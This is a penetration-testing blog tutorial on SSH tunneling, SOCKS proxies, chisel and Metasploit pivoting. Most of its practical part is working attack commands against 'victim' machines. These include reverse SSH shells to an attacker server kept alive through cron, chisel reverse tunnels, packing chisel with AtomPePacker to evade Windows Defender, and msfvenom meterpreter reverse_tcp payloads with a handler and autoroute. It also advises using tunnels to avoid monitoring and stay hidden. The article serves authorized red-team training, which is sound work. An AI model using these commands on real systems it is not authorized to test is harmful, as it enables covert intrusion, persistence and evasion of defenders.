A Back-to-Basics Guide for SSH Tunneling
What is tunneling, what is it good for, and how to set it up on both Windows and Linux?
Tomer Basin from OTORIO's Purple Team gets back to basics with this informative guide that explains what tunneling is, and demonstrates simple ways to do it in several ways.
What is tunneling?
Basically, tunneling is the act of transferring data from point A to point B. Too broad? Well, to be more precise, tunneling is taking some protocol, and encapsulating it into a different protocol, thus creating a Matryoshka (Russian nesting doll) of protocols. For example, if we want to create an SSH session but we only have HTTP accessible, we can take the SSH packets and insert them into the HTTP data section. The other side will parse the HTTP request and will then handle the SSH content as intended, all over HTTP. This, of course, requires both sides to agree on the fact that tunneling takes place.
Port Forwarding
Now that we have explained the concept of tunneling, let’s discuss port forwarding. The idea is very simple – take every request that comes in through some port and send it to another port (locally or a remote host + port combination). So, if I were to set up local port forwarding on port 1234 to localhost:443, every request coming to my machine on port 1234 will be forwarded to port 443 on my machine. Pretty simple, right? As I mentioned, we can do the same thing with a remote host. Sticking with the same example, my machine is listening on port 1234, and I forward every request I receive on that port to someserver:443, I am creating a remote port forwarding. This makes my server a Proxy server, specifically an HTTPS proxy server.
SOCKS Proxy
One more thing I want to explain is the concept of SOCKS, specifically a SOCKS Proxy. Without going into the how and the why, the concept is very simple – SOCKS is a network protocol that allows the client to route all the data (TCP/UDP) through the server that is offering it, effectively combining tunneling and port forwarding in a very easy to use package. The server is listening on a single port, and every request that is sent to this port is encapsulated with the intended protocol inside of the SOCKS packets. One port for all traffic – it is like magic. This is also called Dynamic Port Forwarding – you can forward anything you want through this port; it is completely transparent.
Tunneling with port forwarding
A very practical use of tunneling takes effect in reverse SSH tunneling. What happens, in this case, is that the client establishes a connection with the server using the SSH protocol. This creates a tunnel between the two machines (a sort of pipe) that allows direct communication between the two machines on the ports of our choosing. For example, let’s say that there is a service that is only open on the client machine through localhost (127.0.0.1), therefore there is no way of directly accessing it, but we do have some other way of running commands on this client – we can now “publish” this inaccessible port by using this method and creating a tunnel that forwards a port on our server (the remote machine) to the desired service through the localhost (client), forcing it to be our proxy. Deep diving into the example:
We have two machines, let’s say that both are Linux machines.
192.168.1.1 – Machine A
192.168.1.2 – Machine B
Machine A has a service that is hosted on port 1337, however, it is only accessible through localhost, so there is no way for Machine B to reach it.
To bypass this predicament, tunneling must be used. Let’s assume that Machine B is able to run commands remotely on Machine A and that Machine B has its SSH port open.
The user on Machine B runs a command on Machine A that makes it connect back to Machine B using SSH. In the same command, the user defines port forwarding: All traffic that Machine B receives on port 2000 is to be forwarded through the tunnel towards port 1337 on Machine A. Which looks like this:
Why do we need it?
We talked about tunneling, forwarding, and SOCKS. But what is the practical use? How does it help me as a penetration tester to achieve anything? I am glad you asked!
Tunneling can be used to access assets that were not available to us before, more specifically – assets that are only available to the machines we are tunneling through. As we saw in the example – ports that are only accessible by localhost can be accessed remotely.
Bypassing firewalls – if only one machine has access to a very interesting server via HTTP, and we somehow get our hands on that machine and can run commands on it, we can use it to tunnel our traffic and access the interesting HTTP server. This works especially well on machines that belong to some organization and have access to the internal network while being accessible from the internet. Bear in mind that this can also be used for “good” purposes – creating a reverse proxy to keep your assets more protected instead of giving direct access to them.
Masking our true intentions – we can use tunneling and port forwarding to hide what we want to do. If, for example, we want to RDP to some server that we can run commands on, but we know that RDP is heavily monitored, we can create port forwarding that runs through a different port, and on the target machine, that port will be forwarded to RDP.
Retaining access to machines that are behind a NAT network – if a machine you are working on is not accessible through SSH directly, but you want a normal shell that more than one person can use at a given time, creating a tunnel will only require you to have access to your server towards which the tunnel is established.
Staying hidden – using a SOCKS proxy allows us to stay relatively hidden since all traffic appears to come from our proxy, don’t forget that it keeps us hidden as long as the party that investigates what we are doing doesn’t have access to the server that was designated as the SOCKS server.
Minimizing our footprint – this benefits us in several ways. We don’t need to drop tools on the remote machine, which is good because it is quieter, and also, not all machines have all dependencies required for our tools. Another thing to consider is if we are using proprietary tools that we don’t want others to get a hold of, using tunneling allows us to keep our tools to ourselves. This also allows us to have a single machine from which we do all our actions and using remote hosts as a Proxy.
Piecing it together
Theory is nice and all, but how do we actually make this happen? Luckily it is easy to do, but it does differ, depending on which platform you are working on, or to be more precise it depends on whether or not SSH server is installed on both of the machines. Setting our environment.
Our server’s IP will be for example 192.168.1.9
The client’s IP will be 192.168.1.5
The user on our server will be s_user
The user on the client will be c_user
Assuming that both machines have SSH server installed, the only utility we need on the remote host (victim) is SSH client. The SSH server is necessary for the local forwarding, the client is for the tunneling. On your server you will need SSH client and socat. We will start with how to configure reverse socks proxy over SSH.
If you do not have SSH on the victim machine, but you do have the option to install it (provided you have the necessary privileges) that would be the easiest way to achieve what we aim for here. From our engagements we found that installation of SSH server on the victim does not trigger any alerts (results may vary in different environments). To install SSH Server on windows, you can install it natively in windows 10/11, or use a standalone installer - https://github.com/PowerShell/Win32-OpenSSH.
You do not need high privileges on the victim if the tools are already preinstalled.
Creating a SOCKS PROXY
Target: First configure dynamic port forwarding, once you do this, the client will host as a SOCKS proxy:
ssh -D 9050 localhost
1. Target: Download your PEM key to the machine (and set privileges with chmod 600 <KEY>.pem), then run the reverse tunnel so traffic that gets to the server on port 9051 will be forwarded to port 9050 on the victim. You can also do this with username + password instead (however, you will not be able to make it persistent – it is recommended working with the PEM file). Next choose either persistent or not:
a. This is the standard version, and is NOT persistent:
ssh -i <KEY>.pem -R 9051:localhost:9050 s_user@192.168.1.9
OR
ssh -R 9051:localhost:9050 s_user@192.168.1.9
b. If you want persistency, you need to modify the cron file, by using
crontab -e
Then, you add the following text to the end of the file (don’t forget to modify the relevant ports for your specific need, and change the <PATH>.pem path to the one you have), and save the cron file:
tun='ssh -i <FULL_PATH>/<KEY>.pem -4 -f -N -R 9051:localhost:9050 pt_otorio@192.168.1.9 -o ServerAliveInterval=600'
* * * * * if ! pgrep -f "$tun" > /dev/null; then $tun; fi
2. Attack Server: If we want to allow access to the tunnel from outside of the server, we also need to use socat:
socat tcp-listen:9050,reuseaddr,fork tcp:localhost:9051 &
3. Attack Machine: Now, the server is acting as a SOCKS proxy server on 192.168.1.9:9050, through the client.
Creating Reverse SSH Shell
The concept is the same as the SOCKS proxy, but using port 22 instead of 9050, here is the set of commands to do so:
On the Target:
ssh -i <KEY>.pem -R 2000:localhost:22 s_user@192.168.1.9
crontab -e
Cron Content:
tun='ssh -i <FULL_PATH>/<KEY>.pem -4 -f -N -R 2000:localhost:22 s_user@192.168.1.9 -o ServerAliveInterval=600'
* * * * * if ! pgrep -f "$tun" > /dev/null; then $tun; fi
On the Attack Server:
ssh c_user@127.0.0.1 -p 2000
socat tcp-listen:2001,reuseaddr,fork tcp:localhost:2000 &
At this point, you can use “ssh c_user@192.168.1.9” to SSH the client from your attacking machine.
Chisel
On most Linux machines it is very easy to create a socks proxy and reverse tunneling. On some windows machines we can still do this if the SSH server is turned on. However, if it is not - and we want to use the server as a proxy, we have a little problem. This problem worsens when taking into account AV/EDR/Defender. However, it seems that using a packer might help us out.
The easiest way to perform reverse tunneling on Windows is using chisel. It is written in GO, and its binaries are available to download, and if you want you can also compile it yourself. Bear in mind that even when compiling yourself, the binary is detected by Windows Defender.
To download CHISEL source code: GitHub - jpillora/chisel: A fast TCP/UDP unnel over HTTP
Binaries: Release v1.7.7 · jpillora/chisel
First, let’s talk see how to utilize chisel, for this you need to run it once on your attack machine (server), and once on the victim machine (client) - the executable is the same, the difference is in the command line.
Direct Tunnel
Less common to use, but if you want, it works. The major drawback here is that you need your machine to connect to the victim. It could be useful if both the machine you are working on and your attacking machine are local.
You run this on the client:
chisel.exe server --port 9050 --socks5
On your server you run the following:
chisel client 192.168.1.5:9050 9050:socks
Now you can use the client as a SOCKS Proxy (use of proxychains is described below)
Reverse Tunnel
This way is more common.
On the server, this is run using the “server” command line (use chisel.exe for windows):
chisel server -port 8080 –reverse
Next, you need to configure the client side on the client machine, you need to run the following command:
chisel.exe client 192.168.1.9:<SRV_PORT> R:<SOCKS_PORT>:socks
The <SOCKS_PORT> parameter indicates the port on the server to which you connect for the proxychains, the <SRV_PORT> parameter indicates the port on which the victim connects to the server.
Once the connection is established, the attacker machine will indicate that the connection is made, and on which port it is listening.
ProxyChains
Next we need to configure the proxychain, on our machine (the server). It is recommended to use proxychains4 (aka proxychains-ng), which is a better version of the old proxychains project. Proxyhcinas4 supports both socks4 and socks5:
sudo apt install proxychains4
sudo nano /etc/proxychains4.conf
and in the end of the file, add the following line (or replace what is there):
socks5 127.0.0.1 <PORT>
By default, it works with socks5, but if you are having issues, try to set the protocol to socks4 instead.
Now, you can access the assets through the client machine.
It is recommended to first use the following command to make all TCP/UDP based commands go through the tunnel. Also remember that UDP is supported only as of SOCKS5. This means that the PING command will not work.
proxychains4 /bin/bash
This makes all network-based commands in the shell run through proxychains.
Avoiding Windows Defender:
The problem is that chisel is detected by Windows Defender. To bypass that (Viable as per the time of writing this article. Before moving the executable to the client machine, first check it in a controlled environment) - use packer.
For example, you can use Atom PePacker:
GitHub - NUL0x4C/AtomPePacker: A Highly capable Pe Packer
This should let you bypass the defender.
It is very easy to use:
PePacker.exe chisel.exe -e
The output is “PP64Stub.exe” (feel free to change the name), and you should be able to run it on a machine that only has Windows Defender on it.
Socks Proxy Using Metasploit
In order to make a compromised machine work as a socks proxy, we have several options, in this section we will talk about the use of msfvenom + metsploit.
You can use this as reference: SOCKS Proxy Server - Metasploit - InfosecMatter
First, we create the payload. The <HOST> is the IP of your attacking machine, make sure that the client machine is capable to reach your host, all commands are executed from a Kali machine
For a linux client:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> -f elf -o <FILENAME>
For a windows client:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -o <FILENAME>.exe
After you have the executable ready, go ahead and setup you listener. On your server:
replace <OS> with linux or windows.
msfconsole
use exploit/multi/handler
set payload <OS>/x64/meterpreter/reverse_tcp
set LHOST <HOST>
set LPORT <PORT>
run
At this point, execute the file you created with msfvenon on the client.
If you know which interface you want, that’s good, if not, run ipconfig:
meterpreter > ipconfig
Next, use the autoroute command from the meterpreter shell:
meterpreter > bg
msf6 exploit(mutli/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set session <ID>
msf6 post(multi/manage/autoroute) > run
Note: you might need to add routing by yourself (if for some reason it doesn’t work), by using the following commands:
msf6 post(multi/manage/autoroute) > set CMD add
msf6 post(multi/manage/autoroute) > set subnet x.x.x.x
msf6 post(multi/manage/autoroute) > set netmask y.y.y.y
msf6 post(multi/manage/autoroute) > run
Now you need to trigger the socks proxy:
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT <PORT>
Now your server is listening on the port of your desire, and you will have access to what you need!
Conclusion
Tunneling is a very efficient penetration testing tool. Its wide array of possibilities allows us to effectively bypass security tools and measures. It can also save a lot of time installing dependencies (if that is at all possible) on victim machines. Understanding the core concepts is crucial in using it correctly and it allows the user to use it in more versatile ways to perform desired tasks. We talked about the why and the how, providing you (the reader) with the basics of tunneling, and some ways of utilizing the toolset to your advantage. Everything written here is for educational purposes only, and should only be used in approved projects.
This article was written by Tomer Basin from Otorio
June 27, 2023